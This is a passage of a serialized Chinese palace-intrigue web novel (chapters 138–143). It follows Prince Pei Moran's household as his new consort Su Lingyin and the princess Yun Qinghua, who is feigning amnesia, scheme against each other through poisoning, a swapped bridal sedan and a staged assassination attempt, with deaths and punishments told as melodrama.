云清婳倒是真有点好奇,裴墨染会不会被苏灵音勾走? 这是她对裴墨染的考验。 她的训狗成果究竟如何呢? …… 清心阁。 裴墨染挑起了苏灵音的盖头,却发现苏灵音眼皮肿得像是一对桃子。 他连忙将袖中的帕子递给她,“怎么哭了?” “肃王哥哥,对不住,我不想破坏您跟嫂嫂的感情,都是姑母太过疼我。我这就从清心阁搬出去!”苏灵音抽噎道。 裴墨染坐在榻上,如同兄长般揉了揉她的脑袋,“灵音,你安心住着吧,蛮蛮不是小肚鸡肠的女子,我们没有怪你。” “肃王哥哥,我知道您不愿娶我,您去陪嫂嫂吧,我没事的。”她用手背揩去脸上的泪。 苏灵音是故意欲拒还迎的。 她在婚前,暗中找了好几个花魁娘子分析过,世上大多男人都喜欢女人欲拒还迎。 越是得不到,越是心痒痒。 特别是裴墨染这样的武将,更是喜欢征服一切。 “傻!明日母后问责时,你该怎么办?一个人顶罪?”裴墨染的眼中一片怜惜。 苏灵音似乎有所触动,望着他时,眼底满是感动,“您不必管我,肃王哥哥救了我,我愿为您做任何事。” “不要乱想,你既然嫁给本王,便是本王的人,本王不会冷落你。”裴墨染抓住她的手,懒得再跟她演下去。 这以退为进的招数,他怎会看不出来? 第138章 邀宠 “王爷……”她一副动情的表情。 裴墨染吹了灯,与她洞房。 苏灵音向花魁娘子讨教了一个月的房中术,故意装作娇羞青涩懵懂,该热烈时又热烈地缠着他。 她思忖,男人都是好色的! 云清婳这种道貌岸然的女人,能勾住裴墨染,床笫之事上一定手段了得! 她绝不能被比下去! 呵,裴墨染口口声声说喜欢云清婳又如何? 可他还不是心甘情愿与她洞房了? 云清婳,当初你是怎么把赵婉宁从王妃之位拉下来的,我便会如何把你踩下去! 翌日清早,苏灵音乖顺地伺候裴墨染更衣。 她殷勤地跪下,为他穿上皂靴,满眼讨好,“王爷,您快去看看王妃吧,妾身担心王妃伤心。” “无妨,她不是小气的人。”裴墨染跟抚摸宠物似的,揉揉苏灵音的脑袋。 苏灵音娇羞的躲了躲。 “羞什么?”裴墨染的唇角上扬,语气调侃。 “讨厌~”她垂着脸,一副女儿家的娇羞模样。 裴墨染膈应不已。 装什么装? 演得一点都不像! 蛮蛮害羞时,脸蛋绯红,像一朵含苞待放的娇花。 他长叹一声,状似愧疚,“灵音,王妃之位的事,委屈你了。” “王妃之位本该是嫂嫂的,妾身不委屈。只要能伺候您,妾身不在乎名分。”她乖巧地说。 “飞来横祸,谁都不愿,本王是相信你的,可是父皇不能容忍一个纰漏。”他怜惜地拍着她的肩膀。 苏灵音露出感动的表情。 可她心中却在冷嘁,昨日怎么不说相信她?洞房后,确定她是完璧之身,就说相信她了? 裴墨染对她,可真是满腔的虚情假意啊。 不过他有了愧疚、怜惜,就说明对她有了好感!这是好苗头! 另一边,玄音阁。 云清婳抓了把鱼食撒进池塘,忽然,寝殿内传来惊呼。 “啊……” “主子,不好了!” “飞霜吐血了!” 云清婳匆匆跑了进去。 只见飞霜跪在地上,下巴上全是乌紫色的血,手边是打翻的芙蓉酥。 “飞霜,你怎么样了?”云清婳立即扶她起身。 飞霜冲她眨眨眼,“奴婢没事,点心里有毒!奴婢就想着将计就计。” “苏家可真是手眼通天,细作都安排进厨房了。”她的眼底翻滚着阴霾。 云清婳立即传府医,命人将飞霜扶去暖阁躺着。 “主子,不如咱们将事情闹大!”飞霜坏笑道。 云清婳的脸上透着一丝寒意,“不急,此事没这么简单。” …… 另一边,苏灵音正端着参茶在玄音阁外候着。 婢女星河阴笑道:“算着时辰,云清婳马上就要找您麻烦了。等王爷查出真相,我真期待她的表情!” “我就是要不断加深王爷对我的愧疚,久而久之,王爷便会厌弃云清婳。”苏灵音眼中划过寒光。 少顷,几个府医拎着药箱急匆匆地进了玄音阁。 可苏灵音一直没被召见。 就在这时,一位婢女端着一盘珠钗从门中走出来。 她福福身,“苏侧妃,您快回去歇着吧,主子说您的心意,她晓得了,今日不便见客。” 婢女将赏赐递给星河。 “可是……”星河措手不及。 苏灵音也很是诧异,这怎么跟她预想的不一样? 晌午时,消息传到了裴墨染耳中。 他急匆匆来了玄音阁,他紧张地拉着云清婳的手,“蛮蛮,你没事吧?” “没事。”云清婳的眼泪缀在睫毛上,“都怪我,我不该将芙蓉酥赏给飞霜,否则她也不会中毒!” 裴墨染看见地毯上残留的血渍,心口一痛,倘若蛮蛮吃了糕点,肚子里的孩子一定会出事。 他的眼底褪去了温度,“定是苏灵音干的!我不会放过她!” “不!”云清婳拉着他的衣袖,“我已经派人将厨房整治一番,这次就算了吧。若是撕破脸,您跟母后之间的和谐就会被打破。” “蛮蛮……”裴墨染心疼地抱着她。 云清婳怎会不知苏灵音的算计? 她偏生不让裴墨染查证,故意在所有人心中留个谜团。 这么一来,怀疑的帽子就会永远扣在苏灵音的头上。 苏灵音还偏生不能主动提起。 …… 苏灵音等了一天,可她一直安然无恙。 她登时坐不住了,气得胃疼,“云清婳为何不来找我麻烦?真是好算计啊,裴墨染本就防备于我,她这是想故意把锅扣在我身上!” 这一出,简直是偷鸡不成蚀把米! 星河躬身道:“主子,听说云清婳失忆了,会不会是因为这个,所以她才没接招?” 苏灵音刮了星河一眼,“别人蠢,你也跟着蠢?倘若云清婳真的失忆了,她绝对会想尽办法和离。毕竟肃王是出了名的脾气爆、不得宠。” “失忆,只不过是云清婳为了争夺王妃之位的手段!” 星河顿时被点醒,她的双目变得透彻,“云清婳可真是好演技!” “不过你倒是提醒我了,假如咱们让裴墨染发现云清婳是装失忆,你觉得依照裴墨染的性子会如何?”苏灵音挑眉。 星河扑哧笑出了声,“上位者最恨受人欺骗!” “没错!”苏灵音在星河的耳边交代了什么。 …… 裴墨染依次临幸了魏娴以及几位妾室。 一连半个月,肃王府内风平浪静,可苏灵音却感受到了冷落! 裴墨染嘴上不说,心里肯定觉得下毒之事,跟她有关。 因为玄音阁将此事封锁,她又不能主动提起,只能打碎牙齿活血吞。 深夜,苏灵音端着参汤侯在长信殿外。 没一会儿就被召见。 “王爷,妾身是不是做错了什么?”她泪眼婆娑,一脸委屈。 裴墨染欲言又止,“别多想。” “妾身嫁给了您,您就是妾身在王府的倚靠。您既是夫君,又是表兄,若是有什么事,您跟妾身直说就好,千万不要埋在心底啊。”她扑通一声跪下,凄凄地哭起来。 “你这是做什么?本王又没有怪你。”裴墨染冷若坚冰的眼神有了松动。 苏灵音捕捉到了他的态度变化,抓住了他的衣角,稚气道:“王爷,我不知道发生了什么,但您千万不要冷落我。我最受不得寂寞了,府里除了您,谁都端着,可无聊了。” 他弯腰扶她起来,无奈道:“好了,多大的人了?别耍无赖了!” 苏灵音的心脏扑通乱跳。 这次,她应该过关了,打消了裴墨染的怀疑。 看来裴墨染喜欢俏皮清纯这种类型的女子。 第139章 二人像极了老夫老妻 “王爷,我备了参汤,您喝些吧。”她贴心地倒了一碗汤。 裴墨染眼中扬起了几分赞赏,他喝了汤,摆摆手,“本王还有政务,你退下吧。” “这里离清心阁还有一炷香的脚程呢。”她鼓着嘴,“那妾身真的走了?” “……”裴墨染心中烦透了。 这个女人一点分寸都没有! 知不知廉耻? 真是低劣! 苏灵音嘟着嘴,娇气地说:“王爷,妾身真的走了?” 裴墨染的手缓缓攥着,他压下心中的恼火,冷嗤道:“别走了!本王看你也舍不得走。” “嘿嘿……”苏灵音吐吐舌头。 看来烈女怕缠郎这句话反过来也适用! 听说赵婉宁的性子就很烈,裴墨染的喜好,她已经拿捏了。 一旁的贴身太监目睹全程,嫌弃的咧嘴。 这苏灵音妥妥就是个跳梁小丑啊! 没有眼力见,还自作聪明,反复在王爷的禁区蹦跶。 跟王妃比差远了! 苏灵音在长信殿宿下了,虽然没侍寝,但她很是满足。 长信殿里有不少机密,裴墨染肯让她留宿,就说明对她放松了一丝防备。 拿下裴墨染的真心指日可待! …… 裴墨染清早便去了玄音阁。 他外袍也不脱,径自倒在床榻上,阖眼就睡。 昨晚为了防着苏灵音,他一夜没阖眼。 被那女人睡过的床榻,他也派人扔了。 云清婳嫌弃不已。 狗男人,脏不脏啊? 她弯下腰正要给他脱鞋,男人的声音便懒散的传来,“我自己来,你别动。” 裴墨染缓缓坐起身,将皂靴脱掉,又轰然倒进软衾中。 他疲惫道:“过几日是端午宫宴,你同我进宫,莫要让人看出来你失忆了。” “知道了。”她在榻边坐下。 “我昨晚跟苏灵音没做什么。”他冷不丁解释一句。 云清婳嗯了一声,“我的堂妹要嫁给十皇子了,明日就是婚礼了。” “我正想说呢,你让管家把新婚礼备好,明日我早些下职。”他慵懒道。 “嗯。” 贴身太监远远听见,不由得笑了。 才成婚一年,二人说话怎么这么像老夫老妻? 飞霜嫌弃至极。 贴身太监怎么一脸慈祥的姨母笑? …… 翌日晌午,云清婳跟裴墨染出席了十皇子的婚礼。 一同前往的还有苏灵音。 裴墨染与几位朝廷重臣寒暄。 宴厅中,苏将军看见云清婳满脸都是轻蔑。 “云家姑娘真是好手段,姐妹前后出嫁,都是正妃呢。苏家应该向你们讨教一番!”苏将军酸溜溜地说了一句,火药味十足。 云清婳的眼神褪去温度,讽刺道:“苏将军说笑了,有些事情靠命,学是学不来的。” 苏将军气得吹胡子瞪眼。 云丞相在后面嗤嗤地笑了,他拱手道:“真是对不住啊,贤弟,小女牙尖嘴利,不会冲撞了您吧?” “怎会?”苏将军咬牙切齿。 “蛮蛮,爹爹不是教过你吗?做人得圆滑,不能净说大实话!”云丞相一本正经地斥道。 云清婳低头认错,“我知道了。” 这把苏氏族人气得脸都绿了。 苏夫人忍不住道:“有些话还是别说得太早,世事易变,谁知道接下来会发生什么呢?” 苏灵音挑眉。 她动不了云清婳,还动不了旁人吗? 云家欠她的,她会从云家人身上讨回来! 正说着,迎亲的队伍回来了。 十皇子从高头大马上下来,新娘子被喜婆从轿子里扶了出来。 云清婳忽然高呼:“不对!有问题!” 她瞥向苏将军。 苏将军正一脸幸灾乐祸。 今日也正是朝中七十岁的胡太傅迎娶苏家旁支一位十六岁堂妹的日子。 不少人戏称,这是一树梨花压海棠。 莫不是苏家人设计当街换了花轿? 云清婳慌张地大步上前,可苏灵音却挽住她的胳膊,“王妃,您要去哪儿?莫要冲撞了婚礼啊。” “我有急事,你先放手。”云清婳想要挣脱她。 “什么急事?”苏灵音一脸单纯的问。 这是在故意拖延时间! 简直太明显了! 云清婳恨不得抓花苏灵音的脸。 她朝着礼部的官员高呼,“典仪大人,且慢!” 可苏家几个男丁故意鼓掌、欢呼,将她的声音盖去。 云清婳的脸上流露出堂妹嫁给七十岁老头的痛惜的表情。 她踩了苏灵音一脚,苏灵音吃痛,顺势倒在地上,“啊……” “王妃,您为何要踩我,还将我推倒?” 不少宾客的视线被苏灵音吸引。 苏家人纷纷围过来讨要说话,云清婳被围得水泄不通。 “这就是云家家教?当着我们的面就敢对灵音动粗,回了肃王府还不知要怎么苛待灵音!”苏将军指着云清婳的鼻子大骂。 苏夫人甩袖,“这就是第一贵女的真面目?大伙快来瞧瞧!” “王妃,您今日不给我们一个说法就甭想走!”几个苏家的兄长也凑上来。 云清婳镇定道:“稍后我自会给你们交代!我有急事,请你们让一让!” “什么急事?你今日必须要给我们一个说法。”苏将军的眼底尽是幸灾乐祸。 云清婳急得眼泪都流出来了,她嘤嘤地哭道:“苏将军,求你们让开吧!否则你们会后悔的!我有急事!我是为你们好!” “后悔?我们为何会后悔?”苏将军冷笑。 苏夫人心疼道:“肃王妃,还请你给我们灵音道歉!我们灵音从小到大从未受过这么大的委屈。” “王妃,还请您道歉!”苏家几个兄弟异口同声,咄咄逼人。 苏灵音委屈的拧着眉头,哽咽道:“算了吧,都是我没站稳,你们不要怪王妃。” 宾客看云清婳的眼神中含有难以置信,也有责怪。 就在云家人发现不对,准备上前时,裴墨染大步走来,将云清婳护在身后,“你们怎敢对肃王妃不敬?” “是肃王妃踩伤灵音在先,王爷难道就不心疼灵音吗?”苏夫人掩面嘤嘤的哭起来。 裴墨染被吵得头疼,他狠瞪了苏将军一眼,咬牙切齿:“有什么话,等皇弟的婚礼结束再说!” 他的语气不容置喙,苏家人只好讪讪地偃旗息鼓。 第140章 苏家人被蛮蛮气吐血 婚礼进行着。 十皇子已经跟新娘来到堂前拜天地。 典仪高呼:“一拜天地!” “二拜高堂!” “夫妻对拜!” 苏家人皆幸灾乐祸地看着云清婳。 裴墨染压低声音问:“蛮蛮,究竟是怎么了?” 她正欲启唇,一个喜婆终于扒开云家人,窜了进来。 喜婆上气不接下气的往苏将军面前一跪,哭喊道:“老爷们,不好了,不好了!苏小姐被嫁去了丁员外府里了!” “什么?”苏家人惊呼一声,面色大变。 丁员外可是京城出了名的好色之徒,男女通吃,听说身上还染得有脏病! 他今日要迎娶一位花魁娘子来着! 跟这种败类扯上关系,可是奇耻大辱啊! 苏家人不约而同地朝喜堂上的新娘子看去。 倘若苏家小堂妹嫁去了丁家,堂上的是谁? 礼成,新娘子正被十皇子牵着去往洞房,一阵风吹来,半掀起纱制红盖头,云家姑娘的脸露了出来。 砰—— 一个苏家的长者晕倒了。 苏家其他人都傻眼了,都不明白事情为何变成了这样。 “你、你……”苏将军咬牙切齿,双眸通红地瞪着云清婳,恨不得用眼神将她杀死。 云家几个年轻的男丁躲在后面都快笑喷了。 “王爷,方才我听说苏家姑娘的花轿跟花魁娘子的撞上了,我害怕迎亲队伍出错,本想要去派人查验的。可是苏侧妃非要拦着,我情急之下才踩了她!”云清婳抽噎道。 苏灵音恨得双臂颤抖。 难怪方才云家人没一人出面帮云清婳,任凭云清婳被他们诘难! 好啊,他们苏家都被云清婳一人耍了。 云清婳方才是故意拖延时间。 “快,快去阻拦!把小妹送去胡太傅府邸!”一个苏家的长辈边咳边说。 喜婆哭得更惨了,“不行啊,已经洞房了!若是方才您们派人阻拦一定还来得及,现在定是来不及了!” 噗呲—— 一位苏家的长辈呕出一口鲜血,砰的倒地。 “快传太医!”宾客高呼。 几个太监忙不迭将苏家长辈抬走。 云清婳的眼神满是奚落。 真当他们云家是吃素的? 就苏家会犯贱? 正所谓天下没有不透风的墙,胡太傅那边娶错了人,这件事很快传过来了。 宴席上的宾客霎时都知道苏家发生了什么,纷纷用看风凉的眼神看他们。 苏灵音的眼泪大颗大颗坠下,心如刀割。 那位小堂妹跟她感情甚笃,她才出主意换亲,想把小堂妹嫁给十皇子的啊。 她仇怨地睨着云清婳,痛心疾首,浑身都在颤抖,“堂妹,堂妹……” 裴墨染看到这里算是明白了,他故意往她心口上捅刀子,“灵音啊,你方才拦着蛮蛮作甚?太可惜了!” 云家二公子似惋惜地叹气,“唉!我说句不该说的,你们不闹这一出,苏姑娘怎会嫁给那恶徒?真是的!肃王妃要救人,你们还拦着!要我说,是你们害了苏姑娘。” 苏氏一族气得大眼瞪小眼,脸都憋红了。 苏家几个旁支气呼呼地瞪着苏将军一家人。 苏将军心虚、羞恼地低下了头。 “此事我尽力了,我问心无愧!”云清婳福福身,“苏侧妃,你让太医看看你的脚吧。” 可苏灵音哪有心情看脚? 无尽的愧疚、痛惜、愤怒快要将她压垮,她感觉双腿轻飘飘的,整个人快要栽过去。 就在这时,又有下人来报信,“不好了,不好了,小姐自尽了!” 苏家人闻言,慌乱地奔走了。 苏灵音气血攻心,没忍住,暴露出本性,狠厉地瞪了云清婳一眼。 …… 一时之间,苏家成了满京的笑话。 苏家姑娘最终没救下来,红事变白事。 胡太傅没娶到人,也气得跟苏家断交了。 苏灵音深受打击,躲在清心阁以泪洗面。 “云清婳太恶毒了!是她害了堂妹,是她逼死了堂妹啊!”苏灵音哭嚷着。 堂妹死前被丁员外强暴,被凌虐完毕,不堪其辱跳井自尽! 听说,人被捞上来的时候,浑身浮肿,像是泡胀了的馒头。 她才十五岁啊! 星河心疼地给她擦眼泪,“云贱人早晚下地狱!咱们只是让云家姑娘嫁给胡太傅,她却让苏小姐嫁给了丁员外。这个毒妇,不得好死!” “对!我要用云清婳的血来祭奠堂妹!”苏灵音的表情扭曲。 …… 疲惫了一天,裴墨染送云清婳回了玄音阁。 “今日究竟是怎么回事?”他眉眼冷峻,正色询问。 云清婳并不打算隐瞒,“堂妹的婚礼换了两次日子,苏家姑娘的婚礼也凑巧换了同样的日子。我便猜测苏家想换花轿,跟叔父一家人提了醒,结果方才苏家的花轿果真冲撞了堂妹的花轿。” “至于后面的事,我就不知道了。” 裴墨染赞赏地看着她,惊叹她的睿智,也不由得感叹云家人的手段。 “倘若苏家人不拦我,我还可以阻止,可他们实在狠毒,故意拦着我,结果自食恶果。”云清婳惋惜地叹气。 他揉揉她的脑袋,“我知道你善良,但有的人不值得同情。” 云清婳后退一步,跟他拉开距离,“王爷,您去陪陪苏侧妃吧,想必她心里不好受。” “不好受也是她活该!”裴墨染扶她坐下。 他蹲在她身前,将脸贴在她的腹部,“今日身子可还舒服?” “除了那一日,我没什么反应。”她推开他的脸,“王爷,孩子现在还没长小手小脚呢,听不出动静。” 裴墨染摸了下鼻子,他尴尬道:“难怪没有动。” 云清婳忍不住笑了。 等云清婳睡下,裴墨染才轻手轻脚地离开。 他去了清心阁。 苏灵音一直在哭,看到裴墨染的一刹那,她有些惊讶。 她没想到临近子时,裴墨染还会过来。 裴墨染深知,人只有在最脆弱时才会交心、卸下防备。 他温言软语地安慰苏灵音,苏灵音趁机卖弄风情。 一番云雨后,清心阁才彻底熄灯。 苏灵音暗想,云清婳,你已经输了! 裴墨染背着你来找我,他的心,已经偏向我了。 …… 夜里。 一个身影将一把钥匙丢进了废院。 院中,浑身恶臭的赵婉宁抓住钥匙,眼底闪过了瘆人的光。 …… 翌日。 飞霜扶着云清婳在花园散步。 “主子,昨晚有人在废院周围鬼鬼祟祟,将钥匙丢进去了。” 云清婳冷笑,“真是蠢货!被利用了还帮苏灵音数钱。” 飞霜低声道:“奴婢有些怕,赵婉宁若是出来,一定恨不得杀了咱们。” “赵婉宁那副病弱的残躯能干什么?”她耸肩。 苏灵音此举,无非是想借赵婉宁来试探她,让裴墨染发现她没失忆。 忽的,一个浑身恶臭,瘦骨嶙峋的人跌跌撞撞地朝她们小跑而来。 第141章 幕后黑手,是她! “啊……”飞霜惊呼。 云清婳捂着嘴后退。 恰逢此时,苏灵音正拉着裴墨染来到花园。 “啊啊啊……”赵婉宁被割了舌头,无法说话,只能乱叫。 枯草般的头发下掩藏了一双仇恨的双眼,她手里拿着一枚金簪,朝着云清婳冲了过来。 “你、你是何人?”云清婳惊叫。 苏灵音的眼底写满了失望。 都这个时候了,云清婳居然还在演。 云清婳被逼退到了假山,退无可退,只能惊恐地大叫:“救命啊!救命啊!” 啊—— 赵婉宁抬起金簪要刺进她的脖颈时,裴墨染一掌将她打开。 赵婉宁挨了重重一掌,身子骨碌碌地在地上滚了好远。 噗呲—— 她呕出了一口鲜血。 “蛮蛮!”裴墨染一把将她搂进怀中,轻拍着她的背脊,“不怕,不怕了。” 云清婳双眼噙泪,身板颤抖,“她是何人?为何要杀我?” “只是一个疯子罢了。”裴墨染厌恶地睨着赵婉宁。 “啊啊啊……”赵婉宁不甘地怪叫,看裴墨染的眼神染上了心碎、埋怨。 很快,赵婉宁就被侍卫押走了。 云清婳渐渐平复了心绪,恢复了冷静。 她抬起眼皮看他,执拗地问:“她绝对不是疯子,她究竟是何人?” 裴墨染有些难以启齿,“她是赵婉宁,我之前的王妃。” “我就知道!”她责怪地看他。 “赵婉宁是怎么出来的?给本王严查!”裴墨染低吼。 侍卫拱手,“是!” 后面的苏灵音面不改色,反正也查不到她身上。 云清婳的眼底射出了寒光。 倘若,苏灵音当真以为她是个好拿捏的,就大错特错了。 …… 花厅中。 裴墨染跟云清婳坐在上首。 其他夫人、妾室规矩的站在两边。 很快,贴身太监便道:“王爷,赵婉宁之所以能从废院出来,是因为拿到了钥匙。奴才询问了一圈,昨晚有人看见妾室陆氏,偷偷摸摸在废院转悠。” 陆氏的脸煞白,她抖成筛糠。 被贴身太监一点名,她的膝盖一软,重重砸到地上。 “王爷,冤枉啊,定是有人陷害妾身,妾身昨晚一直待在寝房,怎能光听信一面之词?”陆氏一副蒙受冤屈的模样。 裴墨染懒得跟她废话,厌恶道:“嘴这么硬?把她的贴身婢女拖下去,上刑!” “啊……不要啊……”陆氏的婢女被拖走,她发出嚎叫。” 婢女只是被打了几棍子,就受不住了,一下子全招了。 苏灵音的眼中闪过势在必得的精光。 “王爷,奴婢招!昨晚子时,主子就出门了,她之前从内务处偷偷印了废院钥匙的模子,想必是昨晚把钥匙塞给赵婉宁的。”婢女边哭边道。 陆氏也不忍心怪婢女,只是恶狠狠盯着云清婳。 云清婳一眼就认出了陆氏,在她被册封为正妃的那一日,陆氏出言不逊,她故意踩了陆氏的手。 这个蠢货,被卖了,还帮别人数钱。 “王妃宅心仁厚,你却用这么阴毒的招数借刀杀人,真恶毒!”苏灵音打抱不平。 似乎跟云清婳站在一条战线上。 陆氏啐了一声,“宅心仁厚?她也配?云清婳被封为正妃那一日,肆意报复,故意踩烂了我的手,我的手现在全是疤!这叫我日后如何弹琴?” 她擅琴技,这是她争宠的手段。 云清婳毁了她的手,就等于毁了她的生路! “嘶……”苏灵音倒吸了口气,像是被吓到。 云清婳知道,苏灵音是在用钝刀子割肉。 在裴墨染面前不断地抹黑她,水滴石穿,裴墨染早晚会信。 “拖下去杖毙!”裴墨染的脸色阴沉,他淡淡的说。 就像在评价天气好坏,杀人不眨眼。 他相信蛮蛮,就算蛮蛮真踩了陆氏的手,也是陆氏有错在先。 “不要啊!王爷,不要啊!”陆氏哭喊着,“云清婳,你不得好死!你这个毒妇,你凭什么受宠?” 苏灵音的眼中闪过奚落。 这次裴墨染是相信云清婳的,可十次以后呢? 二十次以后呢? 这样的事情发生多了,裴墨染早晚会觉得云清婳虚有其表,是个毒妇。 云清婳,你害死了我的堂妹,你就该陪葬! 到时候我一定要让花柳病人将你强暴,然后推入井中,感受堂妹死前的窒息、绝望、痛苦! “且慢。”云清婳出声阻止。 裴墨染看向云清婳,用眼神询问她,是不是想求情。 云清婳侧着身子,压低声音道:“王爷,我觉得凭陆氏一人,想不出借刀杀人计,这件事恐怕没这么简单。” 裴墨染也想到了这一点。 今日的一切实在太顺了。 他看向贴身太监,声音冷簌簌的,“还查到了什么?” “奴才愚笨,实在查不出要紧事。”贴身太监瑟缩了下肩膀,似乎想到了什么,“倒是还有一个没影的事。” 陆氏的贴身婢女哭道:“主子起初没想报复王妃的,是前几日在花园听了几个婢女说话,才受到了启发。” “对对对!王爷,那几个贱婢一定是故意说给妾身听的!妾身被利用了,妾身是无辜的啊!妾身的手留疤了,难免心生怨怼,被歹人利用。”陆氏使劲咚咚咚地磕头。 光是听着清脆的磕头声都嫌疼。 “那几个婢女长什么样?”裴墨染的声音冒着寒气。 陆氏跟婢女都顿住了。 “那几个婢女躲在假山后惫懒,奴婢跟主子并没有看到她们的长相。”婢女道。 陆氏使劲点头,“是啊,我们所言句句属实,妾身敢对天发誓。” 其他妾室嗤笑,“没有人证、物证,光凭嘴巴说说,让人怎么相信?” “反正没有证据,你说什么都好。” 苏灵音的柳叶眉舒展开来,眼中闪过精明的光。 她从来都算无遗策,当然不会留下把柄。 云清婳恐怕已经猜到是她做的。 可是那又怎样呢? 没有证据,云清婳能奈她何? “王爷,老奴发现了其他证据。”万嬷嬷手里拿着一根细长的金簪,缓缓走来。 看到金簪的瞬间,苏灵音的眸子一缩,像是看到了怪物。 “赵婉宁方才刺杀王妃所用的金簪,不是她自己的。”万嬷嬷缓缓道。 魏娴趁机道:“这金簪是何人的?能用上金簪,恐怕身份不一般吧?” “是她!”万嬷嬷伸出手,指着苏灵音的方向。 苏灵音僵住了。 第142章 苏灵音掉坑里了 几个婆子当即将苏灵音身后的星河抓了起来,把她押在地上。 “奴婢冤枉啊!奴婢冤枉啊!” “主子素来与王妃交好,奴婢无缘无故,为何要害王妃?” “而且奴婢的簪子前几日……” 话说了一半,星河似乎想到了什么,表情惊恐,瞬间噤声。 她的簪子前几日给老家的弟弟寄了过去。 可如今出现在了这里! 她若是反抗,弟弟会不会受牵连? 星河悚然看向上首的云清婳。 “星河,你是冤枉的对不对?!”苏灵音哭得梨花带雨。 “奴婢,奴婢……”星河的双眸赤红,一脸悲戚、愧疚。 苏灵音心头恼火。 这个蠢货,真是害死她了! 非要往家里寄什么东西? 去年瘟疫,星河全家早死光了,为了防止星河不专心替她办事,她才一直没告诉星河。 “王爷,星河一定是被人冤枉的,她的金簪一定是被人偷走的!星河与妾身一起长大,她的人品妾身信得过!”苏灵音跪在地上。 裴墨染已经不想再看她们演下去。 魏娴出列,她柔声道:“星河,究竟是有人指使你,还是你自己做的,你可要说清楚。” “魏夫人是想让奴婢攀咬主子吗?”星河面如死灰,她愧疚地看着苏灵音,“让你失望了,主子人淡如菊,与世无争,她什么都不知道。是奴婢替主子不值!” “主子本该是肃王妃的!可却被云清婳抢了去,奴婢便想为主子争一争。” “没错!金簪是我给赵婉宁的!” 裴墨染的脸上闪过讥诮,可还来不及捕捉就消失不见。 苏家的奴仆真是忠心! 比陆家的奴仆好多了。 “来人,把此贱婢杖毙!”裴墨染阴森地说。 苏灵音装模作样地哭喊:“不,不……求王爷饶星河一命啊。” 星河一脸决绝,她拔出发髻上的簪子往脖颈使劲一捅。 “啊……” 花厅传来惊恐的尖叫。 鲜血从星河的脖子上的血洞喷洒出来,溅到了苏灵音的裙摆上。 苏灵音的眼中满是嫌弃,可嘴里却带着哭腔,“不要啊,星河,你怎么这么傻啊?你怎么可以害王妃呢?” 裴墨染赶紧捂住云清婳的眼睛,“蛮蛮,别怕……” 云清婳娇软地倚靠在他的怀里,似乎真被吓到了。 呵,她的礼物,也不知道苏灵音喜不喜欢。 苏灵音的表情狰狞。 “将此贱婢丢去乱葬岗!”裴墨染嫌弃道。 “是。” 苏灵音红着眼跪下,“王爷,星河是妾身的奴婢,是妾身看管不力,妾身当罚。” 裴墨染搂着云清婳的肩膀,只想让她快点离开,孕妇看见血腥不吉利。 而且蛮蛮胆子小,要是吓病了怎么办? 他敷衍地摆摆手,“无妨,此事与你无关,本王跟王妃都不会怪你。” “……”苏灵音的眼里闪过得意。 裴墨染问也没问云清婳的意见,便替云清婳做决定不追究,或许说明他对云清婳并没有很在意。 这也许是裴墨染对她的一种变相保护!? 因为担心云清婳趁机找她麻烦? 思及此,苏灵音陡然松了口气。 这一次,她输了,但是也没全输。 云清婳算计了她,但殊不知,裴墨染的偏爱正转向她这里。 …… 玄音阁。 裴墨染的双眼简直快黏在云清婳身上,他细细地打量她的表情,“蛮蛮,苏灵音……” “她毕竟是王爷的表妹,您护着她也是应该的。”她毫不在意,低着头翻看着话本子。 方才的事,只要不是傻子,都能看出跟苏灵音脱不了干系。 裴墨染就是担心她多想,他扳正她的肩膀,“蛮蛮,我心中只有你,苏灵音是皇后派来监视我的,我不得不与她逢场作戏。” 为了助力裴墨染入主东宫,登基为帝,她当然愿意帮他迷惑皇后。 算着日子,本书最重要的真相快要揭开了。 这是一个转折点,到时候,事情会变得很有意思。 “王爷说给我听,就不怕我告诉皇后您在防备她?”她冲他挑眉,一副大公无私的表情。 裴墨染之前的确会担心,但现在毫不担心。 他捏了下她的鼻子,“你生性善良,怎么忍心看我腹背受敌?更何况你是我们孩儿的娘亲,告密对你有何好处?” 她的唇边勾起了一抹笑,低头继续看书。 裴墨染把灯烛往她面前挪了挪,讨好道:“小心败眼睛。” 他自己都觉得自己心酸。 别人都是女人靠儿子上位,可他却也只能靠孩子留住蛮蛮。 “王爷、主子,奴婢发现了一样好东西。”飞霜抱着一个匣子,笑吟吟地走来。 飞霜将匣子打开,里面是一双玄色云锦皂靴,上面绣了一对很小的比翼鸟,细细看才会发现。“这是主子之前给王爷做的。” 裴墨染眼前一亮,他将皂靴捧到云清婳面前,笑道:“蛮蛮,你看,这是你为我做的,这总能证明我们相爱吧?” 云清婳盯着皂靴看了半晌,疑惑地沉吟一声,“可我喜欢您什么呢?您对我又不好。” “……”裴墨染半晌一句话都说不出。 今日,裴墨染在玄音阁留宿。 二人躺在榻上,裴墨染拉着她的手,“蛮蛮,这段日子我待你不错吧?你真的没有一丝一毫动心?” 他喜欢未雨绸缪,倘若蛮蛮一辈子都想不起来,他得考虑让蛮蛮重新爱上他了。 云清婳的态度温顺中带着几分疏离,“王爷,感情在皇室是很罕见的东西,您何必苛求呢?夫妻之间相互扶持、相敬如宾就好。” 她的话,像一把刀子捅进裴墨染的心窝。 倘若不曾拥有过,他当然不会渴求。 可他拥有过,这让他怎能放下? “蛮蛮,你舔下你的嘴唇,一定会被自己毒死。你不许说话了,整天只会气我。”裴墨染的胸口剧烈起伏,显然被气得不轻。 云清婳在心中暗道:气死你个狗男人! 不过,既然王妃之位已经到手,也有了孩子,她也该“恢复记忆”了。 …… 端午宫宴很快就到了。 裴墨染带了云清婳、苏灵音出席。 裴云澈站在宴厅门口,他的目光远远就锁定在云清婳身上。 “殿下。”云清婳低声唤了一句。 裴墨染的心口胀痛,他怒道:“你是肃王妃,记好了!” 云清婳嫌弃地乜了他一眼。 第143章 太后帮蛮蛮出气 “墨染,你跟灵音相处得如何?”裴云澈负手而立,戏谑的笑问。 一直跟在后面的苏灵音走上前。 她福福身,一脸崇拜地看着裴墨染,“表哥,王爷待我极好,很是体贴。” 云清婳轻笑了声,讽刺道:“王爷好福气啊。” 裴墨染的头皮发麻。 “裴云澈,你侍妾通房也不少,管好你自己。”裴墨染咬牙切齿。 裴云澈的脸色倏地黑了,他下意识看向云清婳,却不知该说什么。 云清婳想吐。 两个狗男人究竟在攀比什么? 一个是屎味的巧克力,一个是巧克力味的屎! 有什么好比的? 她冷着脸越过他们径自去往席位。 裴云澈的下三白眼泛出寒意,直勾勾刺着裴墨染。 裴墨染笑了,“皇兄早些娶妻吧。” 而苏灵音完全在状况外。 她隐隐看出了双方剑拔弩张的气势,却不知兄弟二人为何生气了。 …… 